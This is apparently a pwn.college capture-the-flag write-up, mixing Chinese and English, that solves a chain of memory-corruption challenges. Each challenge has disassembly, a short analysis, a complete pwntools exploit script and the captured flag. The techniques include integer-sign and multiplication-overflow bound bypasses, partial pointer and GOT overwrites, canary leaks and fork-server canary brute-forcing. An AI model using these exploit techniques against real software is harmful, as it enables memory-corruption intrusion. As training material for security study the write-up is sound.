│ 0x0000150e 48899528fe.. mov qword [var_1d8h], RDX ; arg3
│ 0x00001515 488d9550fe.. lea RDX, [path]
│ 0x0000151c b800000000 mov eax, 0
│ 0x00001521 b933000000 mov ecx, 0x33 ; '3'
│ 0x00001526 4889d7 mov RDI, RDX
│ 0x00001529 f348ab rep stosq qword [RDI], RAX
│ 0x0000152c 4889fa mov RDX, RDI
│ 0x0000152f 668902 mov word [RDX], ax
│ 0x00001532 4883c202 add RDX, 2
│ 0x00001536 be00000000 mov esi, 0 ; int oflag
│ 0x0000153b 488d3dca0b.. lea RDI, str._dev_urandom ; 0x210c ; "/dev/urandom" ; const char *path
│ 0x00001542 b800000000 mov eax, 0
│ 0x00001547 e854fcffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x0000154c 8945fc mov dword [fildes], eax
│ 0x0000154f 488d8550fe.. lea RAX, [path]
│ 0x00001556 488d889201.. lea RCX, [RAX + 0x192]
│ 0x0000155d 8b45fc mov eax, dword [fildes]
│ 0x00001560 ba08000000 mov edx, 8 ; size_t nbyte
│ 0x00001565 4889ce mov RSI, RCX ; void *buf
│ 0x00001568 89c7 mov edi, eax ; int fildes
│ 0x0000156a e801fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x0000156f 8b45fc mov eax, dword [fildes]
│ 0x00001572 89c7 mov edi, eax ; int fildes
│ 0x00001574 e8e7fbffff call sym.imp.close ; int close(int fildes)
│ 0x00001579 48c78548fe.. mov qword [nbyte], 0
│ 0x00001584 488d3d8e0b.. lea RDI, str.Payload_size: ; 0x2119 ; "Payload size: " ; const char *format
│ 0x0000158b b800000000 mov eax, 0
│ 0x00001590 e8abfbffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001595 488d8548fe.. lea RAX, [nbyte]
│ 0x0000159c 4889c6 mov RSI, RAX
│ 0x0000159f 488d3d820b.. lea RDI, [0x00002128] ; "%lu" ; const char *format
│ 0x000015a6 b800000000 mov eax, 0
│ 0x000015ab e800fcffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x000015b0 488b8548fe.. mov RAX, qword [nbyte]
│ 0x000015b7 4889c6 mov RSI, RAX
│ 0x000015ba 488d3d6f0b.. lea RDI, str.Send_your_payload__up_to__lu_bytes___n ; 0x2130 ; "Send your payload (up to %lu bytes)!\n" ; const char *format
│ 0x000015c1 b800000000 mov eax, 0
│ 0x000015c6 e875fbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015cb 488b9548fe.. mov RDX, qword [nbyte] ; size_t nbyte
│ 0x000015d2 488d8550fe.. lea RAX, [path]
│ 0x000015d9 4889c6 mov RSI, RAX ; void *buf
│ 0x000015dc bf00000000 mov edi, 0 ; int fildes
│ 0x000015e1 e88afbffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x000015e6 8945f8 mov dword [var_8h], eax
│ 0x000015e9 837df800 cmp dword [var_8h], 0
│ ┌─< 0x000015ed 792c jns 0x161b
│ │ 0x000015ef e81cfbffff call sym.imp.__errno_location
│ │ 0x000015f4 8b00 mov eax, dword [RAX]
│ │ 0x000015f6 89c7 mov edi, eax ; int errnum
│ │ 0x000015f8 e8d3fbffff call sym.imp.strerror ; char *strerror(int errnum)
│ │ 0x000015fd 4889c6 mov RSI, RAX
│ │ 0x00001600 488d3d510b.. lea RDI, str.ERROR:_Failed_to_read_input_____s__n ; 0x2158 ; "ERROR: Failed to read input -- %s!\n" ; const char *format
│ │ 0x00001607 b800000000 mov eax, 0
│ │ 0x0000160c e82ffbffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x00001611 bf01000000 mov edi, 1 ; int status
│ │ 0x00001616 e8a5fbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x15ed(x)
│ └─> 0x0000161b 488d8550fe.. lea RAX, [path]
│ 0x00001622 488d909201.. lea RDX, [RAX + 0x192]
│ 0x00001629 488d8550fe.. lea RAX, [path]
│ 0x00001630 4889d6 mov RSI, RDX ; const char *s2
│ 0x00001633 4889c7 mov RDI, RAX ; const char *s1
│ 0x00001636 e845fbffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ 0x0000163b 85c0 test eax, eax
│ ┌─< 0x0000163d 7416 je 0x1655
│ │ 0x0000163f 488d3d3a0b.. lea RDI, str.Password_check_failed__Exiting_ ; 0x2180 ; "Password check failed! Exiting!" ; const char *s
│ │ 0x00001646 e8d5faffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x0000164b bf01000000 mov edi, 1 ; int status
│ │ 0x00001650 e86bfbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x163d(x)
│ └─> 0x00001655 488d3d440b.. lea RDI, str.Password_check_passed_ ; 0x21a0 ; "Password check passed!" ; const char *s
│ 0x0000165c e8bffaffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001661 b800000000 mov eax, 0
│ 0x00001666 e880fdffff call sym.win
│ 0x0000166b 488d3d450b.. lea RDI, str.Goodbye_ ; 0x21b7 ; "Goodbye!" ; const char *s
│ 0x00001672 e8a9faffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001677 b800000000 mov eax, 0
│ 0x0000167c c9 leave
└ 0x0000167d c3 ret

这一题和 Easy 本质一样,还是利用 strcmp 的字符串终止规则,只是需要先从反汇编里把布局自己抠出来。

  1. 随机密码生成逻辑 (0x154f - 0x156a):
    • lea RAX, [path]:加载 path 缓冲区的基地址。
    • lea RCX, [RAX + 0x192]:计算出目标地址 path + 0x192
    • call sym.imp.read:从 /dev/urandom 读取 8 bytes 写入到 path + 0x192
    • 结论:真正的密码存放位置是相对于你输入缓冲区的偏移量 0x192 处。
  2. 输入控制权交接 (0x159f - 0x15ab):
    • 程序用 scanf("%lu") 让你自己输入后续要读取的 Payload size (nbyte)。没有做任何边界检查 (bounds checking),很典型的代码。
  3. buffer overflow 发生地 (0x15d2 - 0x15e1):
    • mov RSI, RAX (其中 RAX 是 path 的地址)
    • call sym.imp.read:从标准输入 (fd=0) 读取你指定长度 (nbyte) 的数据,直接怼进 path 的头部。
  4. 致命的比较 (0x161b - 0x1636):
    • mov RDI, RAX (s1 = path)
    • mov RSI, RDX (s2 = path + 0x192)
    • call sym.imp.strcmp:程序居然又用了 strcmp

利用思路:

  1. 计算偏移:0x192 转换为十进制就是 402 bytes。
  2. 利用不受限制的 read,往缓冲区塞满 \x00
  3. 第 1 个 \x00 会让 path (你的输入) 被 strcmp 视为空字符串 ""
  4. 第 403 个 \x00 会精准覆盖掉 path + 0x192 (随机密码) 的第一个字节,让密码也被视为空字符串 ""

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-hard')

# 0x192 = 402 (十进制)
# 我们需要 402 个 \x00 来填充直到密码所在的位置
# 第 403 个 \x00 覆盖密码的第一个字节
offset = 403

payload = b'\x00' * offset

p.sendline(str(offset).encode())
p.sendline(payload)

p.interactive()
pwn.college{EziJep0N4Bnd83ahmJdcZ2XvWHL.QXxgzN4EDL4cjM1gzW}

Bounds Breaker (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hacker@program-security~bounds-breaker-easy:~$ /challenge/bounds-breaker-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffea42aa180 (RSP+0x0000) | 68 0d 00 00 00 00 00 00 | 0x0000000000000d68 |
| 0x00007ffea42aa188 (RSP+0x0008) | 38 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab338 |
| 0x00007ffea42aa190 (RSP+0x0010) | 28 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab328 |
| 0x00007ffea42aa198 (RSP+0x0018) | 20 60 40 00 01 00 00 00 | 0x0000000100406020 |
| 0x00007ffea42aa1a0 (RSP+0x0020) | 40 15 f0 00 b4 7c 00 00 | 0x00007cb400f01540 |
| 0x00007ffea42aa1a8 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b0 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b8 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c0 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c8 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d0 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d8 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e0 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e8 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1f0 (RSP+0x0070) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa1f8 (RSP+0x0078) | b0 a1 2a a4 fe 7f 00 00 | 0x00007ffea42aa1b0 |
| 0x00007ffea42aa200 (RSP+0x0080) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa208 (RSP+0x0088) | 2a 21 40 00 00 00 00 00 | 0x000000000040212a |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffea42aa180, and our base pointer points to 0x7ffea42aa200.
The input buffer begins at 0x7ffea42aa1b0.
The return address is stored at 0x7ffea42aa208, 88 bytes after the start of your input buffer.
  • buffer address: 0x7ffea42aa1b0
  • return address: 0x7ffea42aa208
1
2
hacker@program-security~bounds-breaker-easy:~$ nm /challenge/bounds-breaker-easy | grep win
000000000040198c T win

win -> 0x40198c

这里真正要打的不是覆盖本身,而是 signed / unsigned conversion

The standard C library uses unsigned integers for sizes, for example the last argument to read, memcmp, strncpy, and friends. By contrast, the default integer types like short, int, and long are signed.

换句话说,这题的真正切入点是:检查发生在 signed world,危险调用发生在 unsigned world。一旦这两个世界之间发生类型转换,检查就失效了。

安全检查 (bounds check): 程序执行判断 if (size > 63) { exit(); }底层调用: 绕过检查后,程序会调用底层系统调用,比如 read(0, buffer, size)read 的第三个参数类型是 size_t (unsigned)。

当你输入 -1 时,有符号的安全检查会认为 -1 < 63,合法直接放行。但当 -1 被传递给 read() 并被强制类型转换为无符号的 size_t 时,在 Two's Complement (二进制补码) 的规则下,-1 的内存表示 0xffffffffffffffff 会变成一个极其巨大的正数。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-easy')

padding = 0x7ffea42aa208 - 0x7ffea42aa1b0

payload = b'\x90' * padding + p64(0x40198c)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{4UZ8-8id5DaJFXvOX8jKVcIscGE.0VN5IDL4cjM1gzW}

Bounds Breaker (Hard)

Analysis

1
2
3
4
5
6
7
8
9
10
11
r2 -A -q -c "pdf @ sym.challenge" /challenge/bounds-breaker-hard
; CALL XREF from main @ 0x402222(x)
┌ 362: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(20:sp[0x10..0xb0])
; ...
│ 0x0040208c 488945f8 mov qword [buf], RAX
│ 0x004020c1 e8baf0ffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x004020cc 83f86a cmp eax, 0x6a ; 'j' ; 106
│ ┌─< 0x004020cf 7e16 jle 0x4020e7
; ...
│ 0x00402114 e837f0ffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  • buf -> RBP - 0x80
  • padding -> 0x80 + 8 = 136
  • win -> 0x00401ef0

Same trick as easy version, using signed -1 to bypass the jle 106 check.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-hard')

padding = 136

payload = b'\x90' * padding + p64(0x401ef0)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{I8YM8h8FYgC-CWSTAsEzsyV1c6v.0lN5IDL4cjM1gzW}

Casting Catastrophe (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Analysis

核心漏洞是 32-bit integer multiplication overflow

The imul eax, edx check uses 32-bit multiplication. If record_num = 42949673 and record_size = 100, then 42949673 * 100 = 4294967300 = 0x100000004. After truncation to 32 bits, the result becomes 0x00000004, which happily passes the <= 119 check.

  • buffer address: 0x7ffcb2c40f30
  • return address: 0x7ffcb2c40fc8
  • padding = 152 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = 'warning'

binary_path = '/challenge/casting-catastrophe-easy'
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 152
payload = b'\x90' * padding + p64(exe.sym['win'])

p.send(payload)
p.interactive()
pwn.college{k3b5vnCTtezRHjL8K5QJGkTcHuE.01N5IDL4cjM1gzW}

Casting Catastrophe (Hard)

Analysis

1
2
3
4
r2 -A -q -c "pdf @ sym.challenge" /challenge/casting-catastrophe-hard
# buf -> RAX -> var_30h -> RBP - 0x30
│ 0x00401fec 83f816 cmp eax, 0x16 ; 22
│ ┌─< 0x00401fef 761f jbe 0x402010

Same 32-bit multiplication overflow trick as easy, just with a much smaller buffer. Here the bound is only 22 bytes and buf lives at RBP - 0x30.

  • padding = 0x30 + 8 = 56 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = "warning"

binary_path = "/challenge/casting-catastrophe-hard"
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 56
payload = b"\x90" * padding + p64(exe.sym["win"])

p.send(payload)
p.interactive()
pwn.college{44Gjyw7y3rCOCpE8CMg-lX3RMzO.0FO5IDL4cjM1gzW}

Pointer Problems (Easy)

Leverage memory corruption to leak the flag.

Analysis

这题的核心不是 ret2win,而是 partial pointer overwrite

The low bytes of the char* differ between runs because of ASLR, but the higher bytes stay aligned closely enough that a short partial overwrite still works.

  • flag is near BSS 0x5060 (obj.bssdata)
  • need_overwrite = 0x7fff67f0f7b0
  • buffer_address = 0x7fff67f0f760
  • padding = 80 bytes

We overwrite the low 2 bytes of the pointer with 0x5060.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-easy"
offset = 80
payload = b"A" * offset + p16(0x5060)

for count in itertools.count():
p = process(path)
p.sendline(str(offset+2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{8mxldk5zAFKNhxJWkA9vMtAZPLd.QXygzN4EDL4cjM1gzW}

Pointer Problems (Hard)

Analysis

1
2
3
4
5
hacker@program-security~pointer-problems-hard:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/pointer-problems-hard
; BSS data address -> 0x4040
│ 0x00001899 488d05a027.. lea RAX, obj.bssdata ; 0x4040
; buf -> RBP - 0x60, string pointer at RBP - 0x10
; padding = 0x60 - 0x10 = 0x50 = 80 bytes

Same trick as easy. We don't need the full pointer, only the low bytes that redirect the stack string pointer into the flag buffer in .BSS.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-hard"
offset = 80
payload = b"A" * offset + p16(0x4040)

for count in itertools.count():
p = process(path)
p.sendline(str(offset + 2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{gISXStoHI3uPCfeOHg3yKKOefCg.QXzgzN4EDL4cjM1gzW}

Anomalous Array (Easy)

Leverage an Array to obtain the flag.

Analysis

这题其实是 OOB read,只是包装成“查看数组元素”。数组在栈的高地址,flag 在更低的地址,所以思路是使用 negative index

  • array start: 0x7fffcfc10c98
  • flag address: 0x7fffcfc106d0
  • distance: 0x7fffcfc10c98 - 0x7fffcfc106d0 = 1480 bytes
  • element size: 8 bytes
  • index: 1480 / 8 = 185 -> use -185

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'error'
flag = b""

for i in range(-185, -170):
p = process('/challenge/anomalous-array-easy')
p.sendlineafter(b"Which number would you like to view?", str(i).encode())
p.recvuntil(b"Your hacker number is ")
val = p.recvline().strip().decode().zfill(16)
chunk = bytes.fromhex(val)[::-1]
flag += chunk
p.close()
if b"}" in chunk:
break

print(f"\n[+] flag: {flag.decode('utf-8', errors='ignore')}")
pwn.college{0DcG-T7IqYV0QKtiZidy4E-xZUh.QX0gzN4EDL4cjM1gzW}

Anomalous Array (Hard)

Leverage an Array to obtain the flag.

Analysis

Same approach as easy version, using a negative array index to read the flag from memory.

pwn.college{...}

Now You GOT It (Easy)

Leverage an Array to obtain the flag.

Analysis

这题从越界读写切到 GOT overwrite

  • win function: 0x1a72
  • GOT base: 0x5000
  • array base: 0x57c0
  • offset: 0x5000 - 0x57c0 = -0x7c0 (-1984 bytes)
  • index: -1984 / 8 = -248

We overwrite putchar@GOT with the address of win().

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-easy")
p = process("/challenge/now-you-got-it-easy")

# Calculate index based on binary layout
# puts_addr - array_addr
index = (elf.got["putchar"] - 0x57C0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16)

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{YHBFpvTU6V94JGyRaW-ZtWT0Zlv.QX2gzN4EDL4cjM1gzW}

Now You GOT It (Hard)

Leverage an Array to obtain the flag.

Analysis

Hard 版的关键变化是,不能像 Easy 那样直接把 puts@GOT 指到 win 入口,否则 win 自己内部先调用 puts,马上递归爆炸。

解法:offset jump (偏移跳转)

看看 win 函数开头:

1
2
3
4
5
6
0x00001e84      f30f1efa       endbr64
0x00001e88 55 push RBP
0x00001e89 4889e5 mov RBP, RSP
0x00001e8c 488d3d7511.. lea RDI, str.You_win__Here_is_your_flag:
0x00001e93 e878f2ffff call sym.imp.puts <-- 死循环点
0x00001e98 be00000000 mov esi, 0 <-- 我们从这里开始!

如果我们把 puts@GOT 覆盖为 win_addr + 0x14 (即 0x1e98),就能绕过死循环。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-hard")
p = process("/challenge/now-you-got-it-hard")

# array starts at 0x5dd0 relative
index = (elf.got["puts"] - 0x5dd0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16) + 0x14

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{4R4AKNBLpYoKyJi6oIUwiWfpZI5.QX3gzN4EDL4cjM1gzW}

Loop Lunacy (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time in a PIE binary with a stack canary.

Analysis

这一题的重点不是直接越过 canary,而是改写循环计数变量 n,让后续单字节写入直接跳到 canary 后面。

1
2
3
while (n < size) {
n += read(0, input + n, 1);
}
  • buf -> 0x7fff2243c7e0
  • n -> 0x7fff2243c83c (offset 92)
  • return address -> 0x7fff2243c858 (offset 120)

我们覆盖 n 为 119,下一次 read 就会写入到 input + 120,即 return address 的位置。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# padding to n
payload = b"A" * 92 + p8(119) + p16(0x1CF9) # target win_authed check skip

p = process("/challenge/loop-lunacy-easy")
p.sendline(b"122")
p.sendline(payload)
p.interactive()
pwn.college{cTAXWFaqIFSJDGH8jZMVtQUXTPF.0VNwMDL4cjM1gzW}

Loop Lunacy (Hard)

Analysis

Hard 版还是同样的单字节循环写入,只是局部变量布局稍微绕一点。

  • buf -> RBP - 0x40 (64 bytes)
  • n -> RBP - 0x58
  • buf to n offset = 48 bytes
  • target win_authed offset -> 0x1481

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# overwrite n to point to return address
payload = b"A" * 48 + p8(64 + 8 - 1) + p16(0x1481)

while True:
p = process("/challenge/loop-lunacy-hard")
p.sendline(b"74")
p.sendline(payload)
a = p.recvall(timeout=1)
if b"pwn.college{" in a:
print(a.decode(errors="ignore"))
break
pwn.college{AYNJAU4YM4hhzf7JinEkwYZfMVn.0lNwMDL4cjM1gzW}

Nosy Neighbor (Easy)

Overflow a buffer and leak the flag.

Analysis

这一题是典型的字符串越界泄露。printf("%s") 会一直打印到遇见 \x00 为止。

  • buf -> 0x7ffcec871790
  • flag -> 0x7ffcec8717f1
  • offset -> 97 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-easy")
p.sendline(b"97")
p.send(b"A" * 97)
p.interactive()
pwn.college{Me-6tE1p3dFRGXTXtpMORPj5b_W.01NwMDL4cjM1gzW}

Nosy Neighbor (Hard)

Analysis

Hard 版也是同一类 bug,输入是从 path 开始写,真正的可打印缓冲区在 path + 0x6d

  • offset -> 0x6d -> 109

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-hard")
p.sendline(b"109")
p.send(b"A" * 109)
p.interactive()
pwn.college{EtNjf_nSDtmYIx3VjpoxbpZVdLa.0FOwMDL4cjM1gzW}

Recursive Ruin (Easy)

Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.

Analysis

这题利用 recursive backdoor。第一次输入泄露 canary 并让同一个进程再次进入 challenge(),复用同一个 canary。

  1. 第一发 Payload (Information Leak): 覆盖 canary 的最低字节 (\x00),利用 printf 泄露剩余 7 字节。加入 "REPEAT" 触发递归。
  2. 第二发 Payload (Control Flow Hijack): 在第二层 challenge() 中,利用泄露的 canary 构造 payload 绕过检查。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"154")
payload2 = b"A" * 136 + canary + b"B" * 8 + b"\xb3\x83"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{sISl_MjbdZ-M6Xu-jeMXu-Gxj89.0VMxMDL4cjM1gzW}

Recursive Ruin (Hard)

Analysis

Hard 版同样是两阶段利用。区别只是缓冲区更小,偏移更短。

  • buf -> RBP - 0x20
  • canary -> RBP - 8
  • buf to canary offset = 24 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-hard")
try:
p.sendlineafter(b"Payload size:", b"25")
payload1 = b"REPEAT".ljust(24, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(25)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"42")
payload2 = b"A" * 24 + canary + b"B" * 8 + b"\x6b\x1c"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{...}

Lingering Leftover (Easy)

Leak data left behind unintentionally by utilizing clever payload construction.

Analysis

这一题不是主动泄露,而是栈残留 (stack residual)。程序前面读过 flag,虽然没有再打印 flag buffer,但残留内容还躺在栈上。

  • buf -> 0x7ffc740163f0
  • flag at 0x7ffc7401646a
  • distance -> 122 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-easy")
p.sendline(b"122")
p.send(b"A" * 122)
p.interactive()
pwn.college{Ip-rheFTFOTZw6iCFe4JX-YqSUV29vW.01MxMDL4cjM1gzW}

Lingering Leftover (Hard)

Analysis

Hard 版也是同一个思路,从函数之间的栈复用关系里确认 flag 的位置。

  • buf -> RBP - 0x200
  • flag read to RBP - 0x160 + 0x56
  • distance = 0x200 - 0x160 + 0x56 = 246 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-hard")
p.sendline(b"246")
p.send(b"A" * 246)
p.interactive()
pwn.college{UOnuy5KfSK49QeGSt2X8WSjScbk.0FNxMDL4cjM1gzW}

Latent Leak (Easy)

Leak data left behind unintentionally to defeat a stack canary in a PIE binary.

Analysis

利用未初始化栈内容去捞一份 canary 副本。

  • buf -> 0x7ffd91a01960
  • canary copy at 0x7ffd91a019e8
  • distance = 136 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"426")
payload2 = b"A" * 408 + canary + b"B" * 8 + b"\xd4\x1f"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{USkSWFY_9ZoRpm_X4bbinvVet1i.0VNxMDL4cjM1gzW}

Latent Leak (Hard)

Analysis

Hard 版需定位 canary copy 在栈上的位置。

  • buf -> var_170h
  • canary copy at RBP - 0x118
  • distance = 88 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-hard")
try:
p.sendlineafter(b"Payload size:", b"89")
payload1 = b"REPEAT".ljust(88, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(89)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"378")
payload2 = b"A" * 360 + canary + b"B" * 8 + b"\x3a\x18"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{4Tl0_0M2VD2swhMKrBqyJ-NmVRB.0lNxMDL4cjM1gzW}

Fork Foolery (Easy)

Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.

Analysis

fork 出来的子进程会继承父进程的 canary。我们可以通过逐字节爆破 (byte-by-byte brute-force) 来获取 canary。

  • buf to canary offset = 120 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x289 + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{AkjeEdJtTF04io9yqVyjy88wkvF.01NxMDL4cjM1gzW}

Fork Foolery (Hard)

Analysis

Hard 版同样是 fork server 爆破。

  • buf to canary offset = 120 bytes
  • target win_authed offset = 0x9db

